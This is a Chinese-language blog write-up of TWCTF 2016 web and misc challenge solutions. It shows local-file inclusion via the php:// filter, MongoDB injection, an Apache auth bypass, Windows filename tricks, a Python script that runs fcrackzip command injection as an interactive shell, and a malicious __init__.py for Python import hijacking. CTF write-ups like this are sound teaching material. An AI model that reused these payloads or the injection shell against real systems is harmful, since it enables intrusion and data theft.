TWCTF 2016 WriteUp

洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF 2016)比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一下脑瓜的感觉。总之很多题还是很有趣的,适合研究学习一番。

以下是洒家做出来的几道小题,类型仅限 Web 和 Misc,给各位看官参考。

Global Page

Web Warmup
Welcome to TokyoWesterns' CTF! 
http://globalpage.chal.ctf.westerns.tokyo/

这题用中文浏览器点进去一看,出现了:

Warning: include(tokyo/zh-CN.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening 'ctf/zh-CN.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41

显然是 HTTP Request Header 的 Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 部分的本地文件包含漏洞。

flag 在 /flag.php。有两个子目录,/ctf/tokyo,可以列目录。

TWCTF2016 1

这就说明 http://globalpage.chal.ctf.westerns.tokyo/?page=ctf$_GET['page'] 代表目录,Accept-Language 中的语言代表目录下的文件名部分。

直接访问 /flag.php 和 用 /?page=ctf Accept-Language: ../flag 并没有输出。

进一步探测:/?page=to.k/yo 仍然正常显示,说明 $_GET['page'] 删除了 . / 符号,并自动在末尾添加 /

经过一番尝试,洒家突然发现报错信息里面 include() 路径开始部分并没有其他东西,那么就可以使用 php:// 协议读取源码。

TWCTF2016 2

base64 解码即可得到 flag。

同样的方法,当然可以读取 index.php 的源码

<?php
ini_set('display_errors', 1);
include "flag.php";
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<title>Global Page</title>
<style>
.rtl {
  direction: rtl;
}
</style>
</head>

<body>
<?php
$dir = "";
if(isset($_GET['page'])) {
    $dir = str_replace(['.', '/'], '', $_GET['page']);
}

if(empty($dir)) {
?>
<ul>
    <li><a href="/?page=tokyo">Tokyo</a></li>
    <li><del>Westerns</del></li>
    <li><a href="/?page=ctf">CTF</a></li>
</ul>
<?php
}
else {
    foreach(explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
        $l = trim(explode(";", $lang)[0]);
?>
<p<?=($l==='he')?" class=rtl":""?>>
<?php
        include "$dir/$l.php";
?>
</p>
<?php
    }
}
?>
</body>
</html>

Rescue Data 1: deadnas

Forensic Warmup
Problem
Today, our 3-disk NAS has failed. Please recover flag.
deadnas.7z

Hint 1: The NAS used RAID.
Hint 2: RAID-5

这一题给了 3 个磁盘镜像。Disk0 和 Disk2 都是 512 K,而 Disk 1 只剩一句话:

crashed :-(

刚开始没有正确理解题意,洒家以为 Disk1 完全没有用,因为 Disk0 和 Disk2 不一样,认为 Disk0 和 Disk2 两个磁盘组成了 Raid0 之类的东西。直接把两个镜像合并到一起恢复数据无果。后来给了两个 Hint,RAID-5,洒家瞬间明白了有 3 个磁盘,Disk1 坏了所以没有显示(衰)

下面推出知名国产软件 DiskGenius。正确做法如下:

TWCTF2016 3

洒家一开始尝试了多种 RAID-5 类型和块大小,后来发现瞎 JB 试也不行,直接十六进制查看器看数据块在多小尺度上有明显边界。

如下图所示,3FF0 到 4000 之间有明显边界,说明块大小最大为 formula。一开始洒家尝试的 512K 是明显错误的。而最终的块大小为 512B,这一点当然可能也可以从 16 进制编辑器中看出来。

TWCTF2016 4

洒家最后贴张 flag:

TWCTF2016 5

Get the admin password!

Web
Problem
Get the admin password!
http://gap.chal.ctf.westerns.tokyo/

You can use test:test

这个各种 SQL 注入没有一点反应,洒家又考虑文件包含,又试了 XPath 等等各种姿势,无果。突然想到会不会是 MongoDB?

TWCTF2016 6

哟呵,还真是 MongoDB。

TWCTF2016 7

需要密码,那就用个二分法。代码太丑洒家就不贴了,效果如图:

TWCTF2016 8

Poems

Web
Problem
Read the first poem.

http://poems.chal.ctf.westerns.tokyo

poems.7z

Server: Ubuntu 16.04 + Apache2

Hint1:(2016-09-04 11:05 UTC)
Password cracking is unnecessary.

Hint2:(2016-09-04 17:02 UTC)
You can access to admin page without user id or password.

这题很有趣,在没放 hint 的时候就做出来了,洒家感到贼开心。主要用到了 Apache 的 htpasswd 绕过,URL 重写等。一开始洒家找到了一个任意文件(除了最关键的 list.txt)读取漏洞,后来发现完全走了弯路。

题目给了源码,又是喜闻乐见的 Slim 框架。主要后端逻辑在 /src/routes.php

主要的保存用户发送的 Poem 逻辑是:

发送的 name 和 poem 被 json_encode() 储存在 /poems/data/ 中,文件名为随机的 16 进制的文件中。文件名集中储存在 /poems/list.txt。题目目标是读取第一篇 Poem。由于文件名不可预知,必须先读取 list.txt

另外含有 /admin,PHP 代码中没有任何防护,但是实际访问的时候要求密码。这是在 Apache 中设置的。

TWCTF2016 9

check_poem_id() 保证了无法通过 GET /poems?p=../list.txt 读取 list.txt。然而上图中除了 check_poem_id() 并没有对 $poem_id 进行其他的检验,因此可以读取任意其他文件(不能是 json 格式,否则会被当作 poem 文件解析显示):

读取 /etc/passwd

TWCTF2016 10

想到上文所述 /admin 密码问题,读取 /etc/apache2/sites-enabled/000-default.conf

TWCTF2016 11

读取 /etc/apache2/htpasswd,admin 密码是 MD5 加盐的,尝试破解了很长时间最终也是难度太高破解失败。

TWCTF2016 12

洒家这是开始考虑绕过 /admin 的密码。

思考一番后,突然想到 .htaccess URL 重写,豁然开朗。

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]

之间洒家直接访问 /index.php/admin,即可达到访问 /admin 的效果,同时绕过 Apache 的密码

TWCTF2016 13

出现 flag:

TWCTF2016 14

最后看来,这道题源码中显而易见的任意文件读取漏洞的发展方向是无底洞,让洒家走了不少弯路,最终的解法竟然这么简单。

Rotten Uploader

Web
Problem
Find the secret file.

http://rup.chal.ctf.westerns.tokyo/

Hint1 (2016/09/04 16:31)
    The files/directories on the DOCUMENT_ROOT are below four.
        download.php
        file_list.php
        index.php
        uploads(directory)
    The number of files in the DOCUMENT_ROOT/uploads is 5. The directory have "index.html".
    You don't need scan tools.

这一题文件给的清清楚楚,显然 /uploads/ 里面有个文件名无法预知的文件包含 flag。download.php 可以下载任意文件(除了 file_list.php)。那么就下载一堆东西:

download.php

<?php
header("Content-Type: application/octet-stream");
if(stripos($_GET['f'], 'file_list') !== FALSE) die();
readfile('uploads/' . $_GET['f']); // safe_dir is enabled. 
?>

第三行大小写不敏感地过滤,无法下载包含 'file_list' 的文件。

读取 index.php,发现 flag 文件的文件名就在 file_list.php 中。index.php 显示了 3 个文件:test.cpptest.ctest.rb

代码非常简单,貌似坚不可摧。洒家尝试了一番无果。等等,大小写不敏感,为什么要用 stripos()

TWCTF2016 15

大小写真的不敏感。原来是个 Windows 系统。坚不可摧的代码还是有漏洞。

洒家使用兼容 MS-DOS 的 8.3 短文件名绕过。

TWCTF2016 16

答案就很明显了。

TWCTF2016 17

2016 年 9 月 18 日更新

洒家看老外的 Writeup,发现了一种奇技淫巧的解法:

GET /download.php?f=F< HTTP/1.1

这样可以直接下载 f/F 开头无扩展名的文件。

实验发现,在 Windows 系统中,< 符号可以代替扩展名的一部分,如果没有扩展名(没有 .)就可以代替全部。

例如此目录下有 index.php

D:\www\test>type "index<"
系统找不到指定的文件。

D:\www\test>type "index<"
系统找不到指定的文件。

D:\www\test>type "index.<"
<?php
readfile('./FL<');

D:\www\test>type "index.p<"
<?php
readfile('./FL<');

D:\www\test>type "index.php<"
<?php
readfile('./FL<');

D:\www\test>type "index.php<<<"
<?php
readfile('./FL<');

然而网上搜不到关于这个的玩法。真是奇技淫巧。

glance

Misc
Problem
I saw this through a gap of the door on a train.

洒家看见这题就乐了,题目挺有想法的。直接 MATLAB 提取所有图片帧,然后洒家的做法是写个 HTML 放满 <img> 标签(懒得再编程了)

TWCTF2016 18

ZIP Cracker

2016 年 9 月 16 日更新:洒家忙了一阵子乱七八糟的东西,继续研究没做出来的题目

Web Misc
Problem
here is useful tool for hackers!

http://zipcracker.chal.ctf.westerns.tokyo/

这一题洒家一看就是命令注入,然而搞了半天也没有注入成功。看了老外的 Writeup(https://gist.github.com/baronpig/f6f2a4db993e951cde9ee92db15fc953https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/)才豁然开朗:当勾选 use unzip 时,fcrackzip-1.0 猜测的可能的压缩密码才参与命令注入。洒家一直尝试的是把命令注入的恶意代码放到字典里,然而大概 fcrackzip-1.0 的原理并不是一个一个暴力破解,恶意代码不被猜测为可能的密码就不会发生命令注入。

洒家犯的第二个错误是,index.php 存在源码泄露(.index.php.swp)(好吧,说好的不用扫描器)。洒家是 Google 了返回的字符串(Possible password: paSSw0rd ()Password Found ! pw ==p@ssw0rd)才意识到这不是用 unzip 暴力破解,而是用了 fcrackzip-1.0

洒家走的一个弯路是:洒家在文件名上做了很多文章,然而命令用的是 tmp_name,此处并不能注入。

vim recovery .index.php.swp 之后,主要部分的代码如下:

<?php
if(!empty($_FILES['zip']['tmp_name']) and !empty($_FILES['dict']['tmp_name'])) {
    if(max($_FILES['zip']['size'], $_FILES['dict']['size']) <= 1024*1024) {
        // Do you remember 430387 ?
        $zip = $_FILES['zip']['tmp_name'];
        $dict = $_FILES['dict']['tmp_name'];

        $option = "-D -p $dict";
        if(isset($_POST['unzip'])) {
            $option = "-u ".$option;
        }

        $cmd = "timeout 3 ./fcrackzip-1.0/fcrackzip $option $zip";
        $res = shell_exec($cmd);
    }
    else {
        $res = 'file is too large.';
    }
}
else {
    $res = 'file is missing';
}
?>

上文提到的韩国博客中找到了 fcrackzip 的源码:

// main.c
int REGPARAM
check_unzip (const char *pw)
{
  char buff[1024];
  int status;

  sprintf (buff, "unzip -qqtP \"%s\" %s " DEVNULL, pw, file_path[0]);
  status = system (buff);

#undef REDIR

  if (status == EXIT_SUCCESS)
    {
      printf("\n\nPASSWORD FOUND!!!!: pw == %s\n", pw);
      exit (EXIT_SUCCESS);
    }

  return !status;
}

可见漏洞发生在对 fcrackzip 使用 -u 参数时,fcrackzip 会调用 unzip 验证可能的密码,验证时直接拼接 shell 命令字符串造成命令注入。

由此洒家构造一个密码为 ";ls;echo" 的 zip 文件,勾选 unzip 结果为:

TWCTF2016 19

第一个 unzip 缺少了文件名参数所以显示了错误信息。

那么搞一个密码为 ";cat flag.php;# 的 zip,结果如下

TWCTF2016 20

得到 flag:TWCTF{20-bug-430387-cannot-deal-files-with-special-chars.patch:escape_pw}

对了,前面 PHP 源码提到的 430387 指的是 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430387;msg=19

Debian Bug report logs - #430387
[PATCH] `fcrackzip --use-unzip' cannot deal with file names containing a single quote

洒家改了改 https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/ 中的脚本,做了个 shell:

TWCTF2016 21

import requests
import json
import subprocess
import os
import re

def delTmpFiles():
    try:
        os.remove('zipped.zip')
        os.remove('dict.txt')
    except OSError:
        pass

def postCmd(cmd):
    password = '";'+cmd+';#' # password of zip file
    zipfilename = 'zipfile.zip' #the zip name that gets posted
    dictfilename = 'dictionary.txt' #the dict name that gets posted
    dictfilecontents = """password1\npassword12\npassword123\n"""+password+"""\n1\n""" #dictionary file contents
    unzip = True
    #print password
    #print dictfilecontents
    #password = 'password1'
    #zips the random.txt file with password into zipped.zip
    subprocess.call(['zip', '--password', password, 'zipped.zip', 'random.txt','-q'])

    dictfile = open('dict.txt', 'wb')
    dictfile.write(dictfilecontents)
    dictfile.close()

    url = "http://zipcracker.chal.ctf.westerns.tokyo/"
    multiple_files = [
        ('zip', (zipfilename, open('zipped.zip', 'rb'), 'application/x-zip-compressed')),
        ('dict', (dictfilename, open('dict.txt', 'rb'), 'text/plain'))
    ]

    data = {}
    if unzip:
        data['unzip'] = 'on'
    r = requests.post(url, files=multiple_files, data=data)
    #print r.text
    return r.text
def getOutput(html):
    pattern = re.compile(r'if archive file newer\s*(.*?)\s*PASSWORD FOUND!!!!: pw',re.S)
    result = pattern.findall(html)
    if len(result) == 1:
        return result[0]
    else:
        print 'fail. Original html: '
        print html
        return ''

def main():
    with open('random.txt','wb') as f:
        f.write('abcdefg')
    cmd = raw_input('>>> ')
    while cmd != '':
        print getOutput(postCmd(cmd))
        delTmpFiles()
        cmd = raw_input('>>> ')
    os.remove('random.txt')

if __name__ == '__main__':
    main()

Tsurai Web

2016 年 9 月 18 日更新:洒家忙了一阵子乱七八糟的东西,继续研究没做出来的题目

本题参考资料:https://blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/

Web
Problem
http://tweb.chal.ctf.westerns.tokyo/
Mirror: http://tweb2.chal.ctf.westerns.tokyo/

tweb.7z

一道 Python Flask 的题目,洒家对 Flask 无感,还是硬着头皮看了看。研究了一番,程序的流程大致如下:

注册

密码文件 passwd

每一行的格式 abcd:5d6894c77ab618eedca1feace0ee073b

abcd 是用户名,合法用户名规则是 \A[0-9a-zA-Z]{,20}\Z

后面的 Hash 是 md5(随机密码 + 盐)。一行一个用户名,存放在 /passwd 文件中。

创建 /data/(md5(用户名)).py 文件,创建 /data/(md5(用户名)) 文件夹。

登录

和上文中的 passwd 文件中的对应行对照。

访问 /

未登录:返回默认 template

已登录:config = __import__(h(session.get('username'))) # built-in function __import__;读取 md5(session username).py 文件

上传

/data/(md5(用户名)).py 用作文件列表,例如上传两张照片后,内容为:imgs = [u'%2ZY4J9CW@WVY5.jpg', u'%JS9@HNZFZ9.jpg']

文件不会自动改名。

漏洞成因

洒家研究了半天也没发现漏洞,直到看了老外的博客才恍然大悟:

__import__ 函数的顺序问题。

如果有 /aabb/__init__.py/aabb.py__import__('aabb') 会优先去搜索并包含前者。

因此上传 一个 __init__.py(前端验证限制文件类型,轻松绕过)到 md5(用户名) 目录,当

config = __import__(h(session.get('username')))

时就会执行任意 Python 命令。由于 import 时需要 imgs 列表,老外的做法是:

x = __import__("subprocess")
imgs = []
imgs.append(x.check_output('cat flag', shell=True))

当然洒家也可以这样搞:

imgs = []
fflag = open('flag','rb').read()
imgs.append(fflag)

效果是只剩下一张图片,文件名就是 flag。

TWCTF2016 22


Advertisements

Comments

License

Creative Commons License

本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).